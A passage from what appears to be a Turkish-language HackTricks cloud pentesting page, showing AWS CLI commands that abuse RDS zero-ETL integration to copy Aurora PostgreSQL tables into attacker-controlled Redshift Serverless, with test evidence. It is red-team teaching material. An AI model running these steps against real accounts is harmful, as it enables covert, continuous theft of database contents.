apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) RDS'den zero‑ETL entegrasyonunu oluşturun ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Redshift'te çoğaltılmış verileri kalıcı hale getirip sorgulayın ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Testte gözlemlenen kanıtlar:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:…377a462b-…
  • SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
  • After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).

Etkisi: Saldırgan tarafından kontrol edilen Redshift Serverless’e seçilen Aurora PostgreSQL tablolarının veritabanı kimlik bilgileri, yedekler veya kaynak kümesine ağ erişimi kullanılmaksızın sürekli, neredeyse gerçek zamanlı exfiltration’ı.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin